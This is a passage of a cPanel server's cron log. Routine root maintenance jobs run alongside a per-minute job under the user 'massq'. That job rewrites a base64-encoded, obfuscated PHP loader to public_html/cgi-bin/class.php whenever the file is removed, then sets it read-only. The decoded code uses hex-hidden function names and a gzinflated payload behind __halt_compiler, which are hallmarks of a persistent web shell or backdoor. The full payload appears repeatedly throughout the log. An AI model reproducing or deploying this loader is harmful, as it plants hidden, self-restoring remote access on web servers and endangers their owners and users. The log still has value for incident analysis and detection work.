cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:24:01 server CROND[4007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:24:01 server CROND[4008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:24:01 server CROND[4009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:25:01 server CROND[4550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:25:01 server CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:25:01 server CROND[4554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:25:01 server CROND[4558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:25:01 server CROND[4557]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:25:01 server CROND[4561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:25:01 server CROND[4559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:25:01 server CROND[4560]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 00:26:01 server CROND[5412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:26:01 server CROND[5413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:26:01 server CROND[5415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:27:01 server CROND[5799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:27:01 server CROND[5798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:27:01 server CROND[5800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:27:01 server CROND[5801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:28:01 server CROND[6191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:28:01 server CROND[6192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:28:01 server CROND[6194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:29:01 server CROND[6593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:29:01 server CROND[6594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:29:01 server CROND[6595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:30:01 server CROND[7095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:30:01 server CROND[7096]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:30:01 server CROND[7093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:30:01 server CROND[7099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:30:01 server CROND[7097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:30:01 server CROND[7101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:30:01 server CROND[7094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:30:01 server CROND[7098]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:30:01 server CROND[7100]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 00:31:01 server CROND[7955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:31:01 server CROND[7956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:31:01 server CROND[7957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:32:01 server CROND[8337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:32:01 server CROND[8338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:32:01 server CROND[8339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:33:01 server CROND[8725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:33:01 server CROND[8726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:33:01 server CROND[8727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:34:01 server CROND[9141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:34:01 server CROND[9142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:34:01 server CROND[9143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:35:01 server CROND[9707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:35:01 server CROND[9712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:35:01 server CROND[9714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:35:01 server CROND[9713]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 00:35:01 server CROND[9711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
